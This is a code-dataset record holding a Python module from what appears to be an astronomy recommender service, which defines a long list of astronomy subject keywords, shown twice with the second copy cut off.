from . import views,errors
# Adding the Permission class to the template context
# @main.app_context_processor
# def inject_permissions():
# return dict(Permission=Permission) | en | 0.466057 | # Adding the Permission class to the template context # @main.app_context_processor # def inject_permissions(): # return dict(Permission=Permission) | 1.868287 | 2 |
service/definitions.py | adsabs/recommender_service_defunct | 2 | 6616202 | ASTkeywords = ["aberration",
"ablation",
"absorption",
"abundances planetary nebulae",
"acceleration",
"accretion",
"accretion disks",
"accuracy",
"acetaldehyde",
"acetonitrile",
"acetylene",
"acoustics",
"activation energy",
"active",
"active ultraviolet",
"activity",
"addenda",
"aerospace environments",
"age factor",
"agglomeration",
"airborne equipment",
"airglow",
"albedo",
"algol",
"alignment",
"all sky photography",
"aluminum",
"ammonia",
"amorphous materials",
"amplification",
"amplitude",
"analog to digital converters",
"analogies",
"analogs",
"analytic functions",
"angular correlation",
"angular distribution",
"angular momentum",
"angular resolution",
"angular velocity",
"anisotropy",
"annihilation reactions",
"annual variations",
"anomalies",
"apsides",
"arcs",
"argon",
"arrays",
"arrivals",
"asphericity",
"association reactions",
"astro missions",
"astrobiology",
"astrochemistry",
"astrodynamics",
"astrography",
"astrometry",
"astronomical data bases",
"astronomy centimeter",
"astronomy decimeter",
"astronomy gamma rays",
"astronomy general",
"astronomy infrared",
"astronomy ir",
"astronomy microwave",
"astronomy millimeter",
"astronomy radio",
"astronomy submillimeter",
"astronomy uv",
"astronomy visible",
"astronomy visual",
"astronomy x rays",
"astrophysics",
"asymmetry",
"atlases",
"atmosphere",
"atoms",
"attitude",
"auroral arcs",
"autocorrelation",
"automation",
"axes of rotation",
"axisymmetric bodies",
"azimuth",
"background",
"balloons",
"balmer series",
"bandwidth",
"barium",
"barotropism",
"bars",
"base pressure",
"be",
"beam interactions",
"beams",
"benard cells",
"bending",
"beryllium",
"bias",
"bipolarity",
"black body radiation",
"black hole physics",
"blazars",
"blowouts",
"book reviews",
"boron",
"boundaries",
"braking",
"branching",
"brightness",
"broadband",
"bromine",
"bulging",
"calcium",
"capture effect",
"carbon",
"carina",
"catalogs",
"catalysis",
"catastrophe theory",
"cations",
"caustics",
"cd",
"celestial bodies",
"celestial mechanics",
"censored data",
"centaurus",
"center",
"centrifugal force",
"centroids",
"channel flow",
"chaotic phenomena",
"charge",
"chlorine",
"chondrites",
"chromium",
"chronology",
"classifications",
"clouds",
"clumps",
"cluster",
"clusters general",
"clusters globular",
"clusters individual",
"clusters open",
"coagulation",
"cobalt",
"coded masks",
"coefficients",
"collisions",
"combustion",
"comets",
"compact",
"comparisons",
"condensed matter physics",
"conducting fluids",
"conductive heat transfer",
"confidence limits",
"configuration interaction",
"confinement",
"conservation laws",
"constants",
"constellations",
"continuous spectra",
"continuum",
"continuum galaxies",
"continuum modeling",
"convergence",
"cooling",
"coordinates",
"coplanarity",
"copper",
"cores",
"coronagraphs",
"corotation",
"correction",
"cosmic dust",
"cosmic plasma",
"cosmic rays",
"cosmic rays general",
"cosmochemistry",
"cosmology cosmic microwave background",
"cosmology cosmological parameters",
"cosmology dark matter",
"cosmology diffuse radiation",
"cosmology distance scale",
"cosmology early universe",
"cosmology large scale structure of the universe",
"cosmology miscellaneous",
"cosmology observations",
"cosmology theory",
"counter rotation",
"counting",
"coupled modes",
"coupling",
"covariance",
"critical phenomena",
"cross correlation",
"crusts",
"cryogenic cooling",
"crystals",
"current density",
"current sheets",
"curvature",
"curves",
"damping",
"data",
"debris",
"deceleration",
"declination",
"deep space",
"deflagration",
"deformation",
"degenerate matter",
"dense matter",
"density",
"density distribution",
"density measurement",
"density wave model",
"depletion",
"depolarization",
"deposition",
"depth",
"derivation",
"description",
"desorption",
"deuterides",
"deuterium",
"diagrams",
"diameters",
"dichroism",
"diffraction patterns",
"diffusion",
"dimensional measurement",
"dipping",
"disks",
"displacement",
"disrupting",
"dissipation",
"dissociation",
"distance",
"distortion",
"distribution",
"diurnal variations",
"dredging",
"drift rate",
"dust",
"dynamical systems",
"early type",
"echoes",
"eclipses",
"ecliptic",
"ejecta",
"electrical resistivity",
"electrodynamics",
"electromagnetic radiation",
"electronic mail",
"elementary particles",
"ellipsoids",
"emerging",
"emission",
"encounters",
"energetic particles",
"energy",
"enrichment",
"enstatite",
"entrainment",
"ephemerides",
"equatorial regions",
"equators",
"equilibrium",
"equinoxes",
"equipment",
"equipotentials",
"equivalence",
"errata",
"errors",
"escape",
"estimates",
"europium",
"evaporation",
"evolution",
"excitation",
"exhaust emission",
"expansion",
"experiments",
"explosions",
"exponential functions",
"extraction",
"extragalactic radio sources",
"extrapolation",
"extraterrestrial",
"extremely high frequencies",
"faint objects",
"feedback",
"field aligned currents",
"field of view",
"field strength",
"filaments",
"filtergrams",
"fine structure",
"finite element method",
"fireballs",
"flame propagation",
"flares",
"flattening",
"flicker",
"flocculating",
"fluence",
"fluorescence",
"fluorine",
"flux",
"focusing",
"force free magnetic fields",
"formaldehyde",
"formalism",
"formation",
"formations",
"formic acid",
"formyl ions",
"fractionation",
"fragmentation",
"fragments",
"free radicals",
"frequencies",
"functions",
"fundamental parameters",
"furnaces",
"galaxies",
"galaxies abundances",
"galaxies active",
"galaxies barred",
"galaxies bl lacertae objects",
"galaxies bulges",
"galaxies clusters",
"galaxies clusters globular",
"galaxies compact",
"galaxies cooling flows",
"galaxies cosmic rays",
"galaxies distances and redshifts",
"galaxies dwarf",
"galaxies dynamics and dynamics",
"galaxies elliptical lenticular;cd",
"galaxies evolution",
"galaxies formation",
"galaxies fundamental parameters",
"galaxies general",
"galaxies halos",
"galaxies individual",
"galaxies interactions",
"galaxies intergalactic medium",
"galaxies irregular",
"galaxies jets",
"galaxies kinematics and dynamics",
"galaxies local group",
"galaxies luminosity function;mass function",
"galaxies magellanic clouds",
"galaxies magnetic fields",
"galaxies markarian",
"galaxies mass",
"galaxies nuclei",
"galaxies peculiar",
"galaxies photometry",
"galaxies quasars",
"galaxies radiation",
"galaxies rotation",
"galaxies seyfert",
"galaxies spiral",
"galaxies star clusters",
"galaxies starburst",
"galaxies starbust",
"galaxies statistics",
"galaxies stellar content",
"galaxies structure",
"galaxies winds",
"galaxy abundances",
"galaxy bulge",
"galaxy center",
"galaxy disk",
"galaxy evolution",
"galaxy formation",
"galaxy formation supermassive black holes",
"galaxy fundamental parameters",
"galaxy general",
"galaxy globular clusters",
"galaxy halo",
"galaxy kinematics and dynamics",
"galaxy nucleus",
"galaxy open clusters and associations",
"galaxy solar neighborhood",
"galaxy stellar content",
"galaxy structure",
"gallium",
"gamma rays",
"gas",
"gases",
"general",
"geodesy",
"geomagnetism",
"geometrical optics",
"geometry",
"germanium",
"glass",
"globules",
"gradients",
"graphite",
"graphs",
"gravitation",
"gravitational collapse",
"gravitational lensing",
"gravitational waves",
"gray scale",
"half spaces",
"heavy elements",
"height",
"helium",
"hi data",
"hierarchies",
"high frequencies",
"high redshift",
"high resolution",
"high temperature",
"high temperature environments",
"histories",
"homogeneity",
"hydrocarbons",
"hydrocyanic acid",
"hydrodynamics",
"hydrogen",
"hydrogenation",
"ibis",
"ice",
"identifying",
"idps",
"imf",
"incident radiation",
"inclination",
"independent variables",
"indexes",
"infrared galaxies",
"inhomogeneity",
"inorganic sulfides",
"instabilities",
"instrumenation miscellaneous",
"instrumentation adaptive optics",
"instrumentation antennas",
"instrumentation calibration",
"instrumentation calorimeter",
"instrumentation cameras",
"instrumentation detectors",
"instrumentation high angular resolution",
"instrumentation interferometers",
"instrumentation interferomters",
"instrumentation miscellaneous",
"instrumentation photometers",
"instrumentation polarimeters",
"instrumentation spectrograph",
"instrumentation spectrographs",
"instruments",
"integrals",
"intensity",
"interactions",
"interior",
"intermittency",
"interplanetary medium",
"inversions",
"iron",
"irradiation",
"irregularities",
"ism abundances",
"ism atoms",
"ism bubbles",
"ism clouds",
"ism cosmic rays",
"ism dust extinction",
"ism evolution",
"ism formation",
"ism general",
"ism globules",
"ism herbig haro objects",
"ism hii regions",
"ism individual",
"ism jets and outflows",
"ism kinematics and dynamics",
"ism lines and bands",
"ism magnetic fields",
"ism molecules",
"ism planetary nebulae",
"ism reflection nebulae",
"ism structure",
"ism supernova remnants",
"isobars",
"isoelectronic sequence",
"isothermal processes",
"isotopes",
"isotropy",
"jets and outflows",
"kinematics and dynamics",
"large scale structure of universe",
"laser induced fluorescence",
"late type",
"latitude",
"lenses",
"lenticular bodies",
"life",
"light",
"light beams",
"light elements",
"light emission",
"light modulation",
"light sources",
"light speed",
"light transmission",
"lightcurve",
"likelihood ratio",
"line",
"line formation",
"line identification",
"line of sight",
"line profiles",
"liquid metals",
"lithium",
"lobes",
"long term effects",
"long wave radiation",
"longitude",
"loops",
"low frequencies",
"low mass",
"low temperature",
"luminescence",
"lunar occultation",
"magnesium",
"magnetically trapped particles",
"magnetism",
"magnetite",
"magneto optics",
"magnetoionics",
"magnetopause",
"magnetosonic resonance",
"magnetospheres",
"magnetospheric instability",
"magnetostatic fields",
"magnetostatics",
"magnification",
"magnitude",
"manganese",
"mapping",
"masers",
"mass",
"matter",
"maxima",
"medium",
"metals",
"metastable state",
"meteors;meteoroids",
"methane",
"methods analytical",
"methods data analysis",
"methods interferometric",
"methods laboratory",
"methods miscellaneous",
"methods n body",
"methods numerical",
"methods observational",
"methods statistical",
"mhd",
"microstructure",
"mineralogy",
"minima",
"minor planets;asteroids",
"mirrors",
"misalignment",
"miscellaneous",
"mission planning",
"mixing",
"modal response",
"models",
"modes",
"modulation",
"molecules",
"moment distribution",
"moments of inertia",
"momentum",
"momentum theory",
"monochromatic radiation",
"morphology",
"motion",
"narrowband",
"natural satellites",
"nebulae",
"negative ions",
"neodymium",
"neon",
"neptune",
"neutral atoms",
"neutral gases",
"neutral particles",
"neutral sheets",
"neutrinos",
"neutron",
"nickel",
"night sky",
"nitric oxide",
"nitrogen",
"nonlinear systems",
"nonstabilized oscillation",
"normal density functions",
"northern hemisphere",
"nuclear reactions;nucleosynthesis;abundances",
"nucleation",
"null zones",
"oblate spheroids",
"occultation",
"ohmic dissipation",
"olivine",
"opacity",
"ophiuchi clouds",
"optimization",
"orbiting dipoles",
"orbits",
"orientation",
"origin",
"ortho para conversion",
"oscillations",
"oxygen",
"parallax",
"parametrization",
"parent bodies",
"parity",
"particles",
"partitions",
"peculiar",
"pencil beams",
"penumbras",
"percolation",
"period",
"periodic functions",
"periodic variations",
"perseus molecular cloud",
"perturbation theory",
"phase",
"phenomenology",
"phosphorus",
"photoabsorption",
"photochemical reactions",
"photolysis",
"photons",
"photosphere",
"physical data and processes molecular data",
"physical properties",
"pitch",
"plages",
"planets and satellites",
"plasmas",
"pleiades",
"plumes",
"point sources",
"point spread functions",
"polar regions",
"polarization",
"poloidal flux",
"polygons",
"populations",
"porosity",
"position",
"position errors",
"position sensing",
"positive ions",
"positrons",
"post agb",
"potassium",
"potential theory",
"power spectra",
"praesepe star clusters",
"precession",
"precision",
"predictions",
"prisms",
"procedure",
"production rates",
"prolate spheroids",
"prominences",
"propagation",
"proper motions",
"protactinium",
"protoplanets",
"protostars",
"proximity",
"pulses",
"pumping",
"pyroxenes",
"quadrants",
"quadratures",
"quadrupoles",
"quantum theory",
"quenching",
"radial distribution",
"radial velocity",
"radiance",
"radiant cooling",
"radiant flux density",
"radiant heating",
"radiation",
"radiative transfer",
"radicals",
"radii",
"radio continuum galaxies",
"radio lines molecules",
"radioactive processes",
"radius",
"range",
"rank tests",
"rare earth elements",
"rarefied gases",
"rates",
"ratios",
"ray tracing",
"rayet",
"reaction kinetics",
"reaction products",
"real time operation",
"recombination",
"red rectangle",
"red shift",
"reference catalogues",
"reference systems",
"relativity",
"relaxation",
"relic radiation",
"resolution",
"resonance",
"ring galaxies",
"ring structures",
"rings",
"robustness",
"rotary stability",
"rotating disks",
"rotation",
"run time",
"russell",
"samples",
"saturation",
"scalars",
"scaling laws",
"scandium",
"scattering",
"screen effect",
"searching",
"secondary emission",
"secular variations",
"seeing",
"seismology",
"self absorption",
"semiempirical equations",
"semiregular variable stars",
"sensitivity",
"sextants",
"shape",
"shapes",
"shell galaxies",
"shell stars",
"shells",
"shock waves",
"signals",
"significance",
"silicates",
"site testing",
"size",
"size determination",
"size distribution",
"sky brightness",
"slabs",
"slopes",
"smc",
"smoothing",
"sodium",
"software",
"solar system formation",
"solar system general",
"solids",
"source",
"southern hemisphere",
"space science",
"space vehicles",
"spallation",
"spatial distribution",
"specific heat",
"spheres",
"spherical coordinates",
"spherical harmonics",
"spherical shells",
"spheroids",
"spicules",
"sputtering",
"stability",
"standards",
"stars agb and post agb",
"stars binaries close",
"stars binaries eclipsing",
"stars binaries evolution",
"stars binaries general",
"stars binaries spectroscopic",
"stars binaries symbiotic",
"stars binaries visual",
"stars black holes",
"stars blue stragglers",
"stars brown dwarfs",
"stars chemically peculiar",
"stars circumstellar matter",
"stars early type",
"stars emission line;be",
"stars fundamental parameters",
"stars horizontal branch",
"stars hr diagram",
"stars kinematics and dynamics",
"stars late type",
"stars low mass brown dwarfs",
"stars luminosity function;mass function",
"stars magnetic fields",
"stars main sequence",
"stars novae;cataclysmic variables",
"stars oscillations",
"stars planetary systems",
"stars planetary systems formation",
"stars planetary systems protoplanetary disks",
"stars population ii",
"stars pre main sequence",
"stars prestellar cores",
"stars white dwarfs",
"stars winds outflows",
"stars variables",
"stars wolf rayet",
"static tests",
"steady state",
"stimulated emission",
"stochastic processes",
"stokes law of radiation",
"strange attractors",
"strata",
"stratification",
"stress tensors",
"string theory",
"stripping",
"strontium",
"structure",
"subgiant stars",
"sublimation",
"subroutines",
"subsonic flow",
"substructures",
"sulfur",
"sun abundances",
"sun activity",
"sun atmosphere",
"sun atmospheric effects",
"sun atmospheric motion",
"sun chromosphere",
"sun corona",
"sun coronal mass ejections",
"sun evolution",
"sun faculae",
"sun filaments",
"sun flares",
"sun fundamental parameters",
"sun general",
"sun granulation",
"sun helioseismology",
"sun infrared",
"sun interior",
"sun magnetic fields",
"sun maximum mission",
"sun oscillations",
"sun particle emission",
"sun photosphere",
"sun prominences",
"sun radio radiation",
"sun rotation",
"sun solar terrestrial relations",
"sun solar wind",
"sun spectrometers",
"sun sunspots",
"sun temperature",
"sun transition region",
"sun uv radiation",
"sun x rays gamma rays",
"sunspot cycle",
"superfluidity",
"supergiant",
"superhigh frequencies",
"supermassive stars",
"surface science",
"surveys",
"symmetrical bodies",
"symmetry",
"synchronism",
"synchrotron radiation",
"systems analysis",
"systems engineering",
"systems stability",
"tables",
"taxonomy",
"techniques analytical",
"techniques high angular resolution",
"techniques image processing",
"techniques interferometric",
"techniques miscellaneous",
"techniques photometric",
"techniques polarimetric",
"techniques radial velocities",
"techniques spectroscopic",
"telescopes",
"temperature",
"terminal velocity",
"the galaxy solar neighbourhood",
"theory",
"thermalization",
"thermochemistry",
"thermodynamics",
"theta",
"thickness",
"tides",
"time",
"titanium",
"tmc 1",
"tomography",
"toroids",
"torque",
"toruses",
"trace elements",
"tracers",
"trajectories",
"transfer functions",
"transient heating",
"transient response",
"transition",
"transparence",
"transport theory",
"transverse acceleration",
"transverse oscillation",
"trapped particles",
"trapping",
"trees",
"triangles",
"triaxial stresses",
"trigonometry",
"turbulence",
"tvd schemes",
"twisting",
"ubv spectra",
"ultrahigh frequencies",
"umbras",
"universe",
"upper centaurus lupus",
"upstream",
"uranus",
"uv galaxies",
"uz tauri",
"vacuum",
"vanadium",
"variability",
"variable mass systems",
"variables",
"variables other",
"variations",
"vectors",
"vega project",
"velocity",
"velocity distribution",
"velocity measurement",
"vertical distribution",
"vertical motion",
"vertical orientation",
"very high frequencies",
"vibration mode",
"video data",
"vidicons",
"virgo galactic cluster",
"vortex sheets",
"vortices",
"warpage",
"water",
"waves",
"weak interactions",
"whistlers",
"white noise",
"winds",
"x rays galaxies",
"x rays stars",
"yttrium",
"zinc",
"zirconium",
"zodiacASTkeywords.set"]
| ASTkeywords = ["aberration",
"ablation",
"absorption",
"abundances planetary nebulae",
"acceleration",
"accretion",
"accretion disks",
"accuracy",
"acetaldehyde",
"acetonitrile",
"acetylene",
"acoustics",
"activation energy",
"active",
"active ultraviolet",
"activity",
"addenda",
"aerospace environments",
"age factor",
"agglomeration",
"airborne equipment",
"airglow",
"albedo",
"algol",
"alignment",
"all sky photography",
"aluminum",
"ammonia",
"amorphous materials",
"amplification",
"amplitude",
"analog to digital converters",
"analogies",
"analogs",
"analytic functions",
"angular correlation",
"angular distribution",
"angular momentum",
"angular resolution",
"angular velocity",
"anisotropy",
"annihilation reactions",
"annual variations",
"anomalies",
"apsides",
"arcs",
"argon",
"arrays",
"arrivals",
"asphericity",
"association reactions",
"astro missions",
"astrobiology",
"astrochemistry",
"astrodynamics",
"astrography",
"astrometry",
"astronomical data bases",
"astronomy centimeter",
"astronomy decimeter",
"astronomy gamma rays",
"astronomy general",
"astronomy infrared",
"astronomy ir",
"astronomy microwave",
"astronomy millimeter",
"astronomy radio",
"astronomy submillimeter",
"astronomy uv",
"astronomy visible",
"astronomy visual",
"astronomy x rays",
"astrophysics",
"asymmetry",
"atlases",
"atmosphere",
"atoms",
"attitude",
"auroral arcs",
"autocorrelation",
"automation",
"axes of rotation",
"axisymmetric bodies",
"azimuth",
"background",
"balloons",
"balmer series",
"bandwidth",
"barium",
"barotropism",
"bars",
"base pressure",
"be",
"beam interactions",
"beams",
"benard cells",
"bending",
"beryllium",
"bias",
"bipolarity",
"black body radiation",
"black hole physics",
"blazars",
"blowouts",
"book reviews",
"boron",
"boundaries",
"braking",
"branching",
"brightness",
"broadband",
"bromine",
"bulging",
"calcium",
"capture effect",
"carbon",
"carina",
"catalogs",
"catalysis",
"catastrophe theory",
"cations",
"caustics",
"cd",
"celestial bodies",
"celestial mechanics",
"censored data",
"centaurus",
"center",
"centrifugal force",
"centroids",
"channel flow",
"chaotic phenomena",
"charge",
"chlorine",
"chondrites",
"chromium",
"chronology",
"classifications",
"clouds",
"clumps",
"cluster",
"clusters general",
"clusters globular",
"clusters individual",
"clusters open",
"coagulation",
"cobalt",
"coded masks",
"coefficients",
"collisions",
"combustion",
"comets",
"compact",
"comparisons",
"condensed matter physics",
"conducting fluids",
"conductive heat transfer",
"confidence limits",
"configuration interaction",
"confinement",
"conservation laws",
"constants",
"constellations",
"continuous spectra",
"continuum",
"continuum galaxies",
"continuum modeling",
"convergence",
"cooling",
"coordinates",
"coplanarity",
"copper",
"cores",
"coronagraphs",
"corotation",
"correction",
"cosmic dust",
"cosmic plasma",
"cosmic rays",
"cosmic rays general",
"cosmochemistry",
"cosmology cosmic microwave background",
"cosmology cosmological parameters",
"cosmology dark matter",
"cosmology diffuse radiation",
"cosmology distance scale",
"cosmology early universe",
"cosmology large scale structure of the universe",
"cosmology miscellaneous",
"cosmology observations",
"cosmology theory",
"counter rotation",
"counting",
"coupled modes",
"coupling",
"covariance",
"critical phenomena",
"cross correlation",
"crusts",
"cryogenic cooling",
"crystals",
"current density",
"current sheets",
"curvature",
"curves",
"damping",
"data",
"debris",
"deceleration",
"declination",
"deep space",
"deflagration",
"deformation",
"degenerate matter",
"dense matter",
"density",
"density distribution",
"density measurement",
"density wave model",
"depletion",
"depolarization",
"deposition",
"depth",
"derivation",
"description",
"desorption",
"deuterides",
"deuterium",
"diagrams",
"diameters",
"dichroism",
"diffraction patterns",
"diffusion",
"dimensional measurement",
"dipping",
"disks",
"displacement",
"disrupting",
"dissipation",
"dissociation",
"distance",
"distortion",
"distribution",
"diurnal variations",
"dredging",
"drift rate",
"dust",
"dynamical systems",
"early type",
"echoes",
"eclipses",
"ecliptic",
"ejecta",
"electrical resistivity",
"electrodynamics",
"electromagnetic radiation",
"electronic mail",
"elementary particles",
"ellipsoids",
"emerging",
"emission",
"encounters",
"energetic particles",
"energy",
"enrichment",
"enstatite",
"entrainment",
"ephemerides",
"equatorial regions",
"equators",
"equilibrium",
"equinoxes",
"equipment",
"equipotentials",
"equivalence",
"errata",
"errors",
"escape",
"estimates",
"europium",
"evaporation",
"evolution",
"excitation",
"exhaust emission",
"expansion",
"experiments",
"explosions",
"exponential functions",
"extraction",
"extragalactic radio sources",
"extrapolation",
"extraterrestrial",
"extremely high frequencies",
"faint objects",
"feedback",
"field aligned currents",
"field of view",
"field strength",
"filaments",
"filtergrams",
"fine structure",
"finite element method",
"fireballs",
"flame propagation",
"flares",
"flattening",
"flicker",
"flocculating",
"fluence",
"fluorescence",
"fluorine",
"flux",
"focusing",
"force free magnetic fields",
"formaldehyde",
"formalism",
"formation",
"formations",
"formic acid",
"formyl ions",
"fractionation",
"fragmentation",
"fragments",
"free radicals",
"frequencies",
"functions",
"fundamental parameters",
"furnaces",
"galaxies",
"galaxies abundances",
"galaxies active",
"galaxies barred",
"galaxies bl lacertae objects",
"galaxies bulges",
"galaxies clusters",
"galaxies clusters globular",
"galaxies compact",
"galaxies cooling flows",
"galaxies cosmic rays",
"galaxies distances and redshifts",
"galaxies dwarf",
"galaxies dynamics and dynamics",
"galaxies elliptical lenticular;cd",
"galaxies evolution",
"galaxies formation",
"galaxies fundamental parameters",
"galaxies general",
"galaxies halos",
"galaxies individual",
"galaxies interactions",
"galaxies intergalactic medium",
"galaxies irregular",
"galaxies jets",
"galaxies kinematics and dynamics",
"galaxies local group",
"galaxies luminosity function;mass function",
"galaxies magellanic clouds",
"galaxies magnetic fields",
"galaxies markarian",
"galaxies mass",
"galaxies nuclei",
"galaxies peculiar",
"galaxies photometry",
"galaxies quasars",
"galaxies radiation",
"galaxies rotation",
"galaxies seyfert",
"galaxies spiral",
"galaxies star clusters",
"galaxies starburst",
"galaxies starbust",
"galaxies statistics",
"galaxies stellar content",
"galaxies structure",
"galaxies winds",
"galaxy abundances",
"galaxy bulge",
"galaxy center",
"galaxy disk",
"galaxy evolution",
"galaxy formation",
"galaxy formation supermassive black holes",
"galaxy fundamental parameters",
"galaxy general",
"galaxy globular clusters",
"galaxy halo",
"galaxy kinematics and dynamics",
"galaxy nucleus",
"galaxy open clusters and associations",
"galaxy solar neighborhood",
"galaxy stellar content",
"galaxy structure",
"gallium",
"gamma rays",
"gas",
"gases",
"general",
"geodesy",
"geomagnetism",
"geometrical optics",
"geometry",
"germanium",
"glass",
"globules",
"gradients",
"graphite",
"graphs",
"gravitation",
"gravitational collapse",
"gravitational lensing",
"gravitational waves",
"gray scale",
"half spaces",
"heavy elements",
"height",
"helium",
"hi data",
"hierarchies",
"high frequencies",
"high redshift",
"high resolution",
"high temperature",
"high temperature environments",
"histories",
"homogeneity",
"hydrocarbons",
"hydrocyanic acid",
"hydrodynamics",
"hydrogen",
"hydrogenation",
"ibis",
"ice",
"identifying",
"idps",
"imf",
"incident radiation",
"inclination",
"independent variables",
"indexes",
"infrared galaxies",
"inhomogeneity",
"inorganic sulfides",
"instabilities",
"instrumenation miscellaneous",
"instrumentation adaptive optics",
"instrumentation antennas",
"instrumentation calibration",
"instrumentation calorimeter",
"instrumentation cameras",
"instrumentation detectors",
"instrumentation high angular resolution",
"instrumentation interferometers",
"instrumentation interferomters",
"instrumentation miscellaneous",
"instrumentation photometers",
"instrumentation polarimeters",
"instrumentation spectrograph",
"instrumentation spectrographs",
"instruments",
"integrals",
"intensity",
"interactions",
"interior",
"intermittency",
"interplanetary medium",
"inversions",
"iron",
"irradiation",
"irregularities",
"ism abundances",
"ism atoms",
"ism bubbles",
"ism clouds",
"ism cosmic rays",
"ism dust extinction",
"ism evolution",
"ism formation",
"ism general",
"ism globules",
"ism herbig haro objects",
"ism hii regions",
"ism individual",
"ism jets and outflows",
"ism kinematics and dynamics",
"ism lines and bands",
"ism magnetic fields",
"ism molecules",
"ism planetary nebulae",
"ism reflection nebulae",
"ism structure",
"ism supernova remnants",
"isobars",
"isoelectronic sequence",
"isothermal processes",
"isotopes",
"isotropy",
"jets and outflows",
"kinematics and dynamics",
"large scale structure of universe",
"laser induced fluorescence",
"late type",
"latitude",
"lenses",
"lenticular bodies",
"life",
"light",
"light beams",
"light elements",
"light emission",
"light modulation",
"light sources",
"light speed",
"light transmission",
"lightcurve",
"likelihood ratio",
"line",
"line formation",
"line identification",
"line of sight",
"line profiles",
"liquid metals",
"lithium",
"lobes",
"long term effects",
"long wave radiation",
"longitude",
"loops",
"low frequencies",
"low mass",
"low temperature",
"luminescence",
"lunar occultation",
"magnesium",
"magnetically trapped particles",
"magnetism",
"magnetite",
"magneto optics",
"magnetoionics",
"magnetopause",
"magnetosonic resonance",
"magnetospheres",
"magnetospheric instability",
"magnetostatic fields",
"magnetostatics",
"magnification",
"magnitude",
"manganese",
"mapping",
"masers",
"mass",
"matter",
"maxima",
"medium",
"metals",
"metastable state",
"meteors;meteoroids",
"methane",
"methods analytical",
"methods data analysis",
"methods interferometric",
"methods laboratory",
"methods miscellaneous",
"methods n body",
"methods numerical",
"methods observational",
"methods statistical",
"mhd",
"microstructure",
"mineralogy",
"minima",
"minor planets;asteroids",
"mirrors",
"misalignment",
"miscellaneous",
"mission planning",
"mixing",
"modal response",
"models",
"modes",
"modulation",
"molecules",
"moment distribution",
"moments of inertia",
"momentum",
"momentum theory",
"monochromatic radiation",
"morphology",
"motion",
"narrowband",
"natural satellites",
"nebulae",
"negative ions",
"neodymium",
"neon",
"neptune",
"neutral atoms",
"neutral gases",
"neutral particles",
"neutral sheets",
"neutrinos",
"neutron",
"nickel",
"night sky",
"nitric oxide",
"nitrogen",
"nonlinear systems",
"nonstabilized oscillation",
"normal density functions",
"northern hemisphere",
"nuclear reactions;nucleosynthesis;abundances",
"nucleation",
"null zones",
"oblate spheroids",
"occultation",
"ohmic dissipation",
"olivine",
"opacity",
"ophiuchi clouds",
"optimization",
"orbiting dipoles",
"orbits",
"orientation",
"origin",
"ortho para conversion",
"oscillations",
"oxygen",
"parallax",
"parametrization",
"parent bodies",
"parity",
"particles",
"partitions",
"peculiar",
"pencil beams",
"penumbras",
"percolation",
"period",
"periodic functions",
"periodic variations",
"perseus molecular cloud",
"perturbation theory",
"phase",
"phenomenology",
"phosphorus",
"photoabsorption",
"photochemical reactions",
"photolysis",
"photons",
"photosphere",
"physical data and processes molecular data",
"physical properties",
"pitch",
"plages",
"planets and satellites",
"plasmas",
"pleiades",
"plumes",
"point sources",
"point spread functions",
"polar regions",
"polarization",
"poloidal flux",
"polygons",
"populations",
"porosity",
"position",
"position errors",
"position sensing",
"positive ions",
"positrons",
"post agb",
"potassium",
"potential theory",
"power spectra",
"praesepe star clusters",
"precession",
"precision",
"predictions",
"prisms",
"procedure",
"production rates",
"prolate spheroids",
"prominences",
"propagation",
"proper motions",
"protactinium",
"protoplanets",
"protostars",
"proximity",
"pulses",
"pumping",
"pyroxenes",
"quadrants",
"quadratures",
"quadrupoles",
"quantum theory",
"quenching",
"radial distribution",
"radial velocity",
"radiance",
"radiant cooling",
"radiant flux density",
"radiant heating",
"radiation",
"radiative transfer",
"radicals",
"radii",
"radio continuum galaxies",
"radio lines molecules",
"radioactive processes",
"radius",
"range",
"rank tests",
"rare earth elements",
"rarefied gases",
"rates",
"ratios",
"ray tracing",
"rayet",
"reaction kinetics",
"reaction products",
"real time operation",
"recombination",
"red rectangle",
"red shift",
"reference catalogues",
"reference systems",
"relativity",
"relaxation",
"relic radiation",
"resolution",
"resonance",
"ring galaxies",
"ring structures",
"rings",
"robustness",
"rotary stability",
"rotating disks",
"rotation",
"run time",
"russell",
"samples",
"saturation",
"scalars",
"scaling laws",
"scandium",
"scattering",
"screen effect",
"searching",
"secondary emission",
"secular variations",
"seeing",
"seismology",
"self absorption",
"semiempirical equations",
"semiregular variable stars",
"sensitivity",
"sextants",
"shape",
"shapes",
"shell galaxies",
"shell stars",
"shells",
"shock waves",
"signals",
"significance",
"silicates",
"site testing",
"size",
"size determination",
"size distribution",
"sky brightness",
"slabs",
"slopes",
"smc",
"smoothing",
"sodium",
"software",
"solar system formation",
"solar system general",
"solids",
"source",
"southern hemisphere",
"space science",
"space vehicles",
"spallation",
"spatial distribution",
"specific heat",
"spheres",
"spherical coordinates",
"spherical harmonics",
"spherical shells",
"spheroids",
"spicules",
"sputtering",
"stability",
"standards",
"stars agb and post agb",
"stars binaries close",
"stars binaries eclipsing",
"stars binaries evolution",
"stars binaries general",
"stars binaries spectroscopic",
"stars binaries symbiotic",
"stars binaries visual",
"stars black holes",
"stars blue stragglers",
"stars brown dwarfs",
"stars chemically peculiar",
"stars circumstellar matter",
"stars early type",
"stars emission line;be",
"stars fundamental parameters",
"stars horizontal branch",
"stars hr diagram",
"stars kinematics and dynamics",
"stars late type",
"stars low mass brown dwarfs",
"stars luminosity function;mass function",
"stars magnetic fields",
"stars main sequence",
"stars novae;cataclysmic variables",
"stars oscillations",
"stars planetary systems",
"stars planetary systems formation",
"stars planetary systems protoplanetary disks",
"stars population ii",
"stars pre main sequence",
"stars prestellar cores",
"stars white dwarfs",
"stars winds outflows",
"stars variables",
"stars wolf rayet",
"static tests",
"steady state",
"stimulated emission",
"stochastic processes",
"stokes law of radiation",
"strange attractors",
"strata",
"stratification",
"stress tensors",
"string theory",
"stripping",
"strontium",
"structure",
"subgiant stars",
"sublimation",
"subroutines",
"subsonic flow",
"substructures",
"sulfur",
"sun abundances",
"sun activity",
"sun atmosphere",
"sun atmospheric effects",
"sun atmospheric motion",
"sun chromosphere",
"sun corona",
"sun coronal mass ejections",
"sun evolution",
"sun faculae",
"sun filaments",
"sun flares",
"sun fundamental parameters",
"sun general",
"sun granulation",
"sun helioseismology",
"sun infrared",
"sun interior",
"sun magnetic fields",
"sun maximum mission",
"sun oscillations",
"sun particle emission",
"sun photosphere",
"sun prominences",
"sun radio radiation",
"sun rotation",
"sun solar terrestrial relations",
"sun solar wind",
"sun spectrometers",
"sun sunspots",
"sun temperature",
"sun transition region",
"sun uv radiation",
"sun x rays gamma rays",
"sunspot cycle",
"superfluidity",
"supergiant",
"superhigh frequencies",
